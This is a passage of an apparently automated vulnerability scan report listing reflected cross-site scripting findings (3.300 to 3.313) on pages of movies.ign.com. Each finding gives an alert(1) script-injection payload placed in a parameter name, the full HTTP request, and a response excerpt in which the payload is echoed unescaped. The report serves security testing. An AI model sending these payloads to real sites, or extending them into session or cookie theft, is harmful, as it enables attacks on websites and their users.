Date: Mon, 07 Feb 2011 01:54:29 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-2054760879-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043669228v-1n-12mc+1297043669228mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 240087

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/latest-updates.html?c8c73"-alert(1)-"0e0342e390f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.300. http://movies.ign.com/index/movies.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/movies.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbefb"><script>alert(1)</script>19d76564c0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/movies.html?bbefb"><script>alert(1)</script>19d76564c0f=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:57 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1038911185-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:57 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043637249v-1n-12mc+1297043637249mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120243

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/movies.html?bbefb"><script>alert(1)</script>19d76564c0f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.301. http://movies.ign.com/index/movies.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/movies.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86c3f"-alert(1)-"5709b2b37 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/movies.html?86c3f"-alert(1)-"5709b2b37=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:01 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-629776106-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043641707v-1n-12mc+1297043641707mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/movies.html?86c3f"-alert(1)-"5709b2b37=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.302. http://movies.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7eaa0"-alert(1)-"6ea7bf720eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?7eaa0"-alert(1)-"6ea7bf720eb=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:38 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-1592865932-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043619023v-1n-12mc+1297043619023mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120792

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/news.html?7eaa0"-alert(1)-"6ea7bf720eb=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.303. http://movies.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ad0d"><script>alert(1)</script>16c2c14d64b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?1ad0d"><script>alert(1)</script>16c2c14d64b=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:35 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-232827494-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043615727v-1n-12mc+1297043615727mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120410

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/news.html?1ad0d"><script>alert(1)</script>16c2c14d64b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.304. http://movies.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daf48"><script>alert(1)</script>504a964df37 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/podcasts.html?daf48"><script>alert(1)</script>504a964df37=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:02 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-539791322-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:02 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043642548v-1n-12mc+1297043642548mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 99839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/podcasts.html?daf48"><script>alert(1)</script>504a964df37=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.305. http://movies.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5162"-alert(1)-"22f7d705fc5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/podcasts.html?f5162"-alert(1)-"22f7d705fc5=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:07 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-858917247-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043647293v-1n-12mc+1297043647293mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 100046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/podcasts.html?f5162"-alert(1)-"22f7d705fc5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.306. http://movies.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb4a5"-alert(1)-"aeab18a9641 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/release.html?cb4a5"-alert(1)-"aeab18a9641=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:35 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-738525731-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043615987v-1n-12mc+1297043615987mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 149411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/release.html?cb4a5"-alert(1)-"aeab18a9641=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.307. http://movies.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7b01"><script>alert(1)</script>e6ed93b1c6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/release.html?a7b01"><script>alert(1)</script>e6ed93b1c6b=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:33 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1278187342-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043613138v-1n-12mc+1297043613138mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 148919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/release.html?a7b01"><script>alert(1)</script>e6ed93b1c6b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.308. http://movies.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eaa3b"-alert(1)-"bccaf497d1e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?eaa3b"-alert(1)-"bccaf497d1e=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:35 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-491185339-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043615783v-1n-12mc+1297043615783mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 108497

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/reviews.html?eaa3b"-alert(1)-"bccaf497d1e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.309. http://movies.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f1cc"><script>alert(1)</script>809dd1f2a6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?5f1cc"><script>alert(1)</script>809dd1f2a6=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:32 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-2143411410-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043612385v-1n-12mc+1297043612385mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109265

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/reviews.html?5f1cc"><script>alert(1)</script>809dd1f2a6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.310. http://movies.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9fd5"><script>alert(1)</script>366b0d09f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?e9fd5"><script>alert(1)</script>366b0d09f7=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:44 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1258182552-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043624083v-1n-12mc+1297043624083mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/index/videos.html?e9fd5"><script>alert(1)</script>366b0d09f7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.311. http://movies.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a2c05"-alert(1)-"06ba3a2f0ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?a2c05"-alert(1)-"06ba3a2f0ce=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:46 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-525331213-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043626571v-1n-12mc+1297043626571mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/index/videos.html?a2c05"-alert(1)-"06ba3a2f0ce=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.312. http://movies.ign.com/trailers.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/trailers.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb10f"><script>alert(1)</script>e4875c2c936 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /trailers.html?bb10f"><script>alert(1)</script>e4875c2c936=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:09 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-1788196093-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043649228v-1n-12mc+1297043649228mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92294

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies Movie T
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/trailers.html?bb10f"><script>alert(1)</script>e4875c2c936=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.313. http://movies.ign.com/trailers.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/trailers.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d377"-alert(1)-"34ba2ac3b55 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /trailers.html?2d377"-alert(1)-"34ba2ac3b55=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:12 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
